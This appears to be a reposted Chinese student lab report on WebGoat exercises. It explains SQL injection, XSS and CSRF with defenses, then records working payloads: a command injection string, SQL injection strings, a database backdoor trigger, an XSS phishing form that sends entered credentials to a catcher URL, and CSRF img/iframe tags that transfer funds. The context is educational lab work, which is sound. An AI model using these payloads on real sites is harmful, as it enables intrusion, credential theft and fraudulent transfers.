zoukankan      html  css  js  c++  java
  • 2018-2019-2 网络对抗技术 20165332 Exp 9 Web安全基础

    2018-2019-2 网络对抗技术 20165332 Exp 9 Web安全基础

    基础问题回答

    1.SQL注入攻击原理,如何防御?

    原理:SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
    防御:
    关闭或删除不必要的交互式提交表单页面;
    对漏洞注入点相关代码进行关键字的过滤(如:利用正则表达式),以规范代码安全性;
    不要在服务器端放置备份的文件以免受到感染,或备份的文件含有漏洞,造成切入点;
    将数据库里的内容进行加密处理使其不具有特殊的意义。

    2.XSS攻击的原理,如何防御?

    原理:XSS:跨站脚本。攻击者利用网站漏洞,输入可以显示在页面上的、对其他用户造成影响的HTML代码;由于受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本的页面后,这段恶意脚本可以顺利执行,实现获取用户cookie并可以利用用户身份进行非法操作的目的。
    防御:
    用户角度:提高防范意识,不要轻易输入个人信息,如用户名密码;
    网页制作者角度:对输入和URL参数进行过滤

    3.CSRF攻击原理,如何防御?

    原理:
    CSRF :跨站请求伪造。
    CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器.
    防御:
    验证请求中的Token
    验证 Referer
    添加加随机验证
    设定cookie域

    实验总结与体会

    这次实验是通过webgoat来进行测试和攻击,webgoat很适合用来进行教学和练手,安装也很方便。这次实验分别尝试了SQL、CSRF、XSS攻击,攻击的场景类型也较为丰富,但也相对简单,距离实战还有一定的距离,当然应该应付一些设计缺陷较大,安全防范不足的小网站还是足够了,也让我们更直观的体会到web的脆弱性。

    实践过程记录

    WebGoat安装

    1.下载 webgoat-container-7.0.1-war-exec.ja r文件
    2、在含有该文件的目录下使用命令 java -jar webgoat-container-7.0.1-war-exec.jar 运行Webgoat
    3、在浏览器中输入 http://localhost:8080/WebGoat 进入WebGoat登录界面
    4、使用默认用户名密码guest登录即可

    SQL注入攻击(Injection Flaws)

    1.命令注入(Command Injection)

    目标:可以在目标主机上执行任何系统命令
    右键点击页面,选择inspect Element审查网页元素对源代码进行修改,在复选框中任意一栏的代码,右键单击后,选择Edit At Html进行修改,添加"& netstat -an & ipconfig"
    点击view,可以看到执行指令后的网络端口使用情况和IP地址。攻击成功。

    2.数字型注入(Numeric SQL Injection)

    目标:该例子通过注入SQL字符串查看所有的天气数据。
    右键点击页面,选择inspect Element审查网页元素对源代码进行修改,在选中的城市编号Value值中添加or 1=1
    显示所有城市的天气情况,攻击成功。

    3.字符串注入(String SQL Injection)

    目标:基于查询语句构造自己的SQL 注入字符串将所有信用卡信息显示出来。
    正常情况下只能查询到用户名对应的信用卡号码

    输入查询的用户名Smith' or 1=1--
    得到所有用户的信用卡号码,攻击成功。

    4.数据库后门(Database Backdoors)

    目标:利用查询的脆弱性创建触发器。
    输入101,得到该用户的信息。
    输入注入语句101; update employee set salary=18000执行两个语句
    输入
    101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='yyz@hackme.com'WHERE userid = NEW.userid

    XSS攻击(Cross‐Site Scripting)

    1.XSS 钓鱼(Phishing with XSS)

    目标:创建一个 form,要求填写用户名和密码。将数据提交到  http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam 
    利用XSS可以在已存在的页面中进一步添加元素,包括两部分:
    受害人填写一个表格;
    服务器以读取脚本的形式,将收集到的信息发送给攻击者。

    编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat

    编写一个带用户名和密码输入框的表格

    //脚本
    </form>
    <script>
        function hack(){ 
            XSSImage=new Image;
            XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
            alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
        } </script>
    <form name="phish">
    <br>
    <br>//表格
    <HR>
        <H2>This feature requires account login:</H2>
    <br>
        <br>Enter Username:<br>
        <input type="text" name="user">
        <br>Enter Password:<br>
        <input type="password" name = "pass">
    <br>
        <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    <br>
    <br>
    <HR>
    

    2.反射型XSS攻击(Reflected XSS Attacks)

    目标:使用攻击脚本创建URL,并将其写入网站中,当读取到该URL的时候就会被攻击
    输入代码  ,点击purse的同时页面就给出了反馈

    CSRF攻击

    1.跨站请求伪造(Cross Site Request Forgery (CSRF))

    目标:向新闻组发送一封email。这个email包含一个image,其URL指向一个恶意请求。
    查看页面右侧Parameters中的src和menu值,分别为267和900
    在title中输入任何参数,message框中输入
    <img src="http://localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=5000" width="1" height="1" />

    在Message List中生成以Title命名的消息。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。可以从左侧的任务栏看到任务已完成。

    2.绕过 CSRF 确认( CSRF Prompt By‐Pass)

    目标:与上一个题目类似,向包含多个恶意请求的新闻组发送电子邮件:第一个请求用于转移资金,第二个请求用于确认第一个请求触发的提示符。
    查看页面右侧Parameters中的src和menu值分别为270和900
    并在title框中输入学号,message框中输入代码:

    <iframe src="attack?Screen=270&menu=900&transferFunds=5000"> </iframe>
    <iframe src="attack?Screen=270&menu=900&transferFunds=CONFIRM"> </iframe>
    

    在Message List中生成以Title命名的链接,点击进入后,攻击成功,可以从左侧的任务栏看到任务已完成。

  • 相关阅读:
    问题大全
    redis学习笔记-03:redis安装
    redis学习笔记-02:为什么使用NoSQL数据库
    redis学习笔记-01:redis简介
    docker学习笔记-05:Docker安装mysql和redis
    docker学习笔记-06:自定义DockerFile生成镜像
    docker学习笔记-05:DockerFile解析
    全栈之路-杂篇-JPA多对多配置分析
    全栈之路-小程序API-JWT令牌详细剖析与使用
    全栈之路-小程序API-Json数据类型的序列化与反序列化
  • 原文地址:https://www.cnblogs.com/yyzzuishuai/p/10925861.html
Copyright © 2011-2022 走看看